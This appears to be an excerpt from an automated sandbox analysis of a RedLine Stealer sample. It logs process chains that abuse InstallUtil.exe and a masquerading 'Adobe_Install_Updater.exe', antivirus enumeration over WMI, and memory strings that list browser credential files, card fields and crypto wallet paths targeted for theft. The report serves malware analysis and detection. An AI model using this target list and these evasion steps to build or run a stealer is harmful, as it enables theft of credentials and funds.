Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c ipconfig /release
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe	Process created: C:\Users\user\AppData\Local\Temp\build.exe "C:\Users\user\AppData\Local\Temp\build.exe"
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c ipconfig /release
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\ipconfig.exe ipconfig /release
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\ipconfig.exe ipconfig /release
Source: C:\Users\user\AppData\Local\Temp\Plain_Checker.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c ipconfig /release
Source: C:\Users\user\AppData\Local\Temp\Plain_Checker.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"
Source: C:\Users\user\AppData\Local\Temp\Plain_Checker.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c ipconfig /renew
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\ipconfig.exe ipconfig /renew
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c ipconfig /release
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c ipconfig /renew
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\ipconfig.exe ipconfig /renew
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\ipconfig.exe ipconfig /release
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\ipconfig.exe ipconfig /release
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\ipconfig.exe ipconfig /renew
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\ipconfig.exe ipconfig /renew
Source: C:\Users\user\AppData\Roaming\Yftssfzf.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c ipconfig /release
Source: C:\Users\user\AppData\Roaming\Yftssfzf.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"
Source: C:\Users\user\AppData\Roaming\Yftssfzf.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c ipconfig /renew
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\ipconfig.exe ipconfig /release
Source: C:\Users\user\AppData\Roaming\Yftssfzf.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c ipconfig /release
Source: C:\Users\user\AppData\Roaming\Yftssfzf.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"
Source: C:\Users\user\AppData\Roaming\Yftssfzf.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c ipconfig /renew
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\ipconfig.exe ipconfig /renew
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\ipconfig.exe ipconfig /release
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\ipconfig.exe ipconfig /renew

Source: C:\Users\user\Desktop\6RE1Z857ae.exe	Queries volume information: C:\Users\user\Desktop\6RE1Z857ae.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\6RE1Z857ae.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\build.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\build.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\build.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceModel\v4.0_4.0.0.0__b77a5c561934e089\System.ServiceModel.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\build.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\SMDiagnostics\v4.0_4.0.0.0__b77a5c561934e089\SMDiagnostics.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\build.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceModel.Internals\v4.0_4.0.0.0__31bf3856ad364e35\System.ServiceModel.Internals.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\build.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\build.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.IdentityModel\v4.0_4.0.0.0__b77a5c561934e089\System.IdentityModel.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\build.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Web.Extensions\v4.0_4.0.0.0__31bf3856ad364e35\System.Web.Extensions.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\build.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Web\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Web.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\build.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.CSharp\v4.0_4.0.0.0__b03f5f7f11d50a3a\Microsoft.CSharp.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\build.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\build.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\build.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Dynamic\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Dynamic.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe	Queries volume information: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe VolumeInformation
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe	Queries volume information: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe VolumeInformation
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Plain_Checker.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\Plain_Checker.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Plain_Checker.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceModel\v4.0_4.0.0.0__b77a5c561934e089\System.ServiceModel.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\build.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\build.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\build.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceModel\v4.0_4.0.0.0__b77a5c561934e089\System.ServiceModel.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\build.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\SMDiagnostics\v4.0_4.0.0.0__b77a5c561934e089\SMDiagnostics.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\build.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceModel.Internals\v4.0_4.0.0.0__31bf3856ad364e35\System.ServiceModel.Internals.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\build.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\build.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.IdentityModel\v4.0_4.0.0.0__b77a5c561934e089\System.IdentityModel.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\build.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Web.Extensions\v4.0_4.0.0.0__31bf3856ad364e35\System.Web.Extensions.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\build.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Web\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Web.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\build.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.CSharp\v4.0_4.0.0.0__b03f5f7f11d50a3a\Microsoft.CSharp.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\build.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\build.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\build.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Dynamic\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Dynamic.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceModel\v4.0_4.0.0.0__b77a5c561934e089\System.ServiceModel.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceModel\v4.0_4.0.0.0__b77a5c561934e089\System.ServiceModel.dll VolumeInformation
Source: C:\Users\user\AppData\Roaming\Yftssfzf.exe	Queries volume information: C:\Users\user\AppData\Roaming\Yftssfzf.exe VolumeInformation
Source: C:\Users\user\AppData\Roaming\Yftssfzf.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation
Source: C:\Users\user\AppData\Roaming\Yftssfzf.exe	Queries volume information: C:\Users\user\AppData\Roaming\Yftssfzf.exe VolumeInformation
Source: C:\Users\user\AppData\Roaming\Yftssfzf.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceModel\v4.0_4.0.0.0__b77a5c561934e089\System.ServiceModel.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceModel\v4.0_4.0.0.0__b77a5c561934e089\System.ServiceModel.dll VolumeInformation

Source: C:\Users\user\Desktop\6RE1Z857ae.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: build.exe, 00000020.00000002.2643496488.00000000060D8000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe

Source: C:\Users\user\AppData\Local\Temp\build.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntivirusProduct
Source: C:\Users\user\AppData\Local\Temp\build.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter : SELECT * FROM AntivirusProduct
Source: C:\Users\user\AppData\Local\Temp\build.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiSpyWareProduct
Source: C:\Users\user\AppData\Local\Temp\build.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter : SELECT * FROM AntiSpyWareProduct
Source: C:\Users\user\AppData\Local\Temp\build.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM FirewallProduct
Source: C:\Users\user\AppData\Local\Temp\build.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter : SELECT * FROM FirewallProduct
Source: C:\Users\user\AppData\Local\Temp\build.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntivirusProduct
Source: C:\Users\user\AppData\Local\Temp\build.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter : SELECT * FROM AntivirusProduct
Source: C:\Users\user\AppData\Local\Temp\build.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiSpyWareProduct
Source: C:\Users\user\AppData\Local\Temp\build.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter : SELECT * FROM AntiSpyWareProduct
Source: C:\Users\user\AppData\Local\Temp\build.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM FirewallProduct
Source: C:\Users\user\AppData\Local\Temp\build.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter : SELECT * FROM FirewallProduct

Stealing of Sensitive Information

Yara detected RedLine Stealer

Source: Yara match	File source: dump.pcap, type: PCAP
Source: Yara match	File source: 5.0.build.exe.b30000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.6RE1Z857ae.exe.3fe9550.10.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.6RE1Z857ae.exe.3fe9550.10.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000005.00000002.2297222568.0000000002EB0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000000.2141464839.0000000000B32000.00000002.00000001.01000000.00000007.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2204855208.0000000003FE9000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 6RE1Z857ae.exe PID: 6984, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: build.exe PID: 1020, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: build.exe PID: 4672, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\build.exe, type: DROPPED

Found many strings related to Crypto-Wallets (likely being stolen)

Source: 6RE1Z857ae.exe, 00000000.00000002.2204855208.0000000003FE9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: [^\u0020-\u007F]ProcessIdname_on_cardencrypted_valuehttps://ipinfo.io/ip%appdata%\logins{0}\FileZilla\recentservers.xml%appdata%\discord\Local Storage\leveldb\tdataAtomicWalletv10/C \EtFile.IOhereuFile.IOm\walFile.IOletsESystem.UItherSystem.UIeumElectrum[AString-ZaString-z\d]{2String4}\.[String\w-]{String6}\.[\wString-]{2String7}profiles\Windows\valueexpiras21ation_moas21nth
Source: 6RE1Z857ae.exe, 00000000.00000002.2204855208.0000000003FE9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: user.config{0}\FileZilla\sitemanager.xmlcookies.sqlite\Program Files (x86)\configRoninWalletdisplayNamehost_key\Electrum\walletsName\Exodus\exodus.walletnanjmdknhkinifnkgdcggcfnhdaammmjtdataexpires_utc\Program Data\coMANGOokies.sqMANGOlitessfnExodusDisplayVersion%localappdata%\GuildWalletOpHandlerenVPHandlerN ConHandlernect%DSK_23%YoroiWalletcmdOpera GXhttps://api.ipify.orgcookies//settinString.Removeg[@name=\PasswString.Removeord\]/valuString.RemoveeSaturnWalletWeb DataSteamPathwaasflleasft.datasfCommandLineSOFTWARE\Microsoft\Windows\CurrentVersion\UninstallCookiesis_secureSoftware\Valve\SteamLogin DataID: isSecureNoDefrdDefVPNDefwaasflletasfMewCxv11\Program Files\Opera GX StableSELECT * FROM Win32_Process Where SessionId='nlbmnnijcnlegkjjpcfjclmcfggfefdmnkddgncdjgjfcddamfgcmfnlhccnimig\coFile.IOm.libeFile.IOrty.jFile.IOaxFile.IOxnamefnjhmkhhmkbjkkabndcnnogagogbneecfhilaheimglignddkjgofkcbgekhenbhProfile_Unknowncard_number_encrypted, Name: AppData\Roaming\TReplaceokReplaceenReplaces.tReplacext //settString.Replaceing[@name=\UString.Replacesername\]/vaString.ReplacelueNWinordVWinpn.eWinxeWinhostmoz_cookiesUser Datawindows-1251, CommandLine: \ExodusDisplayNameexpiry.vstring.ReplacedfJaxxpathBSJB
Source: 6RE1Z857ae.exe, 00000000.00000002.2204855208.0000000003FE9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: user.config{0}\FileZilla\sitemanager.xmlcookies.sqlite\Program Files (x86)\configRoninWalletdisplayNamehost_key\Electrum\walletsName\Exodus\exodus.walletnanjmdknhkinifnkgdcggcfnhdaammmjtdataexpires_utc\Program Data\coMANGOokies.sqMANGOlitessfnExodusDisplayVersion%localappdata%\GuildWalletOpHandlerenVPHandlerN ConHandlernect%DSK_23%YoroiWalletcmdOpera GXhttps://api.ipify.orgcookies//settinString.Removeg[@name=\PasswString.Removeord\]/valuString.RemoveeSaturnWalletWeb DataSteamPathwaasflleasft.datasfCommandLineSOFTWARE\Microsoft\Windows\CurrentVersion\UninstallCookiesis_secureSoftware\Valve\SteamLogin DataID: isSecureNoDefrdDefVPNDefwaasflletasfMewCxv11\Program Files\Opera GX StableSELECT * FROM Win32_Process Where SessionId='nlbmnnijcnlegkjjpcfjclmcfggfefdmnkddgncdjgjfcddamfgcmfnlhccnimig\coFile.IOm.libeFile.IOrty.jFile.IOaxFile.IOxnamefnjhmkhhmkbjkkabndcnnogagogbneecfhilaheimglignddkjgofkcbgekhenbhProfile_Unknowncard_number_encrypted, Name: AppData\Roaming\TReplaceokReplaceenReplaces.tReplacext //settString.Replaceing[@name=\UString.Replacesername\]/vaString.ReplacelueNWinordVWinpn.eWinxeWinhostmoz_cookiesUser Datawindows-1251, CommandLine: \ExodusDisplayNameexpiry.vstring.ReplacedfJaxxpathBSJB
Source: 6RE1Z857ae.exe, 00000000.00000002.2204855208.0000000003FE9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: user.config{0}\FileZilla\sitemanager.xmlcookies.sqlite\Program Files (x86)\configRoninWalletdisplayNamehost_key\Electrum\walletsName\Exodus\exodus.walletnanjmdknhkinifnkgdcggcfnhdaammmjtdataexpires_utc\Program Data\coMANGOokies.sqMANGOlitessfnExodusDisplayVersion%localappdata%\GuildWalletOpHandlerenVPHandlerN ConHandlernect%DSK_23%YoroiWalletcmdOpera GXhttps://api.ipify.orgcookies//settinString.Removeg[@name=\PasswString.Removeord\]/valuString.RemoveeSaturnWalletWeb DataSteamPathwaasflleasft.datasfCommandLineSOFTWARE\Microsoft\Windows\CurrentVersion\UninstallCookiesis_secureSoftware\Valve\SteamLogin DataID: isSecureNoDefrdDefVPNDefwaasflletasfMewCxv11\Program Files\Opera GX StableSELECT * FROM Win32_Process Where SessionId='nlbmnnijcnlegkjjpcfjclmcfggfefdmnkddgncdjgjfcddamfgcmfnlhccnimig\coFile.IOm.libeFile.IOrty.jFile.IOaxFile.IOxnamefnjhmkhhmkbjkkabndcnnogagogbneecfhilaheimglignddkjgofkcbgekhenbhProfile_Unknowncard_number_encrypted, Name: AppData\Roaming\TReplaceokReplaceenReplaces.tReplacext //settString.Replaceing[@name=\UString.Replacesername\]/vaString.ReplacelueNWinordVWinpn.eWinxeWinhostmoz_cookiesUser Datawindows-1251, CommandLine: \ExodusDisplayNameexpiry.vstring.ReplacedfJaxxpathBSJB
Source: InstallUtil.exe, 0000002D.00000002.2689709699.0000000002BC1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: Ethereum
Source: 6RE1Z857ae.exe, 00000000.00000002.2197191438.0000000003198000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: set_UseMachineKeyStore

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\AppData\Local\Temp\build.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite
Source: C:\Users\user\AppData\Local\Temp\build.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data
Source: C:\Users\user\AppData\Local\Temp\build.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data
Source: C:\Users\user\AppData\Local\Temp\build.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\AppData\Local\Temp\build.exe	File opened: C:\Users\user\AppData\Roaming\atomic\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\build.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\build.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\build.exe	File opened: C:\Users\user\AppData\Roaming\Ethereum\wallets\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\build.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\build.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\build.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\build.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\build.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\build.exe	File opened: C:\Users\user\AppData\Roaming\atomic\
Source: C:\Users\user\AppData\Local\Temp\build.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\
Source: C:\Users\user\AppData\Local\Temp\build.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\
Source: C:\Users\user\AppData\Local\Temp\build.exe	File opened: C:\Users\user\AppData\Roaming\Ethereum\wallets\
Source: C:\Users\user\AppData\Local\Temp\build.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\
Source: C:\Users\user\AppData\Local\Temp\build.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\
Source: C:\Users\user\AppData\Local\Temp\build.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\
Source: C:\Users\user\AppData\Local\Temp\build.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\
Source: C:\Users\user\AppData\Local\Temp\build.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\

Source: Yara match	File source: 5.0.build.exe.b30000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.6RE1Z857ae.exe.3fe9550.10.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.6RE1Z857ae.exe.3fe9550.10.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000031.00000002.2687620249.0000000002EE1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000002D.00000002.2689709699.0000000002BC1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000000.2141464839.0000000000B32000.00000002.00000001.01000000.00000007.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2204855208.0000000003FE9000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 6RE1Z857ae.exe PID: 6984, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: build.exe PID: 1020, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: build.exe PID: 4672, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: InstallUtil.exe PID: 7508, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: InstallUtil.exe PID: 7652, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\build.exe, type: DROPPED

Remote Access Functionality

Yara detected RedLine Stealer

Source: Yara match	File source: dump.pcap, type: PCAP
Source: Yara match	File source: 5.0.build.exe.b30000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.6RE1Z857ae.exe.3fe9550.10.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.6RE1Z857ae.exe.3fe9550.10.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000005.00000002.2297222568.0000000002EB0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000000.2141464839.0000000000B32000.00000002.00000001.01000000.00000007.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2204855208.0000000003FE9000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 6RE1Z857ae.exe PID: 6984, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: build.exe PID: 1020, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: build.exe PID: 4672, type: MEMORYSTR
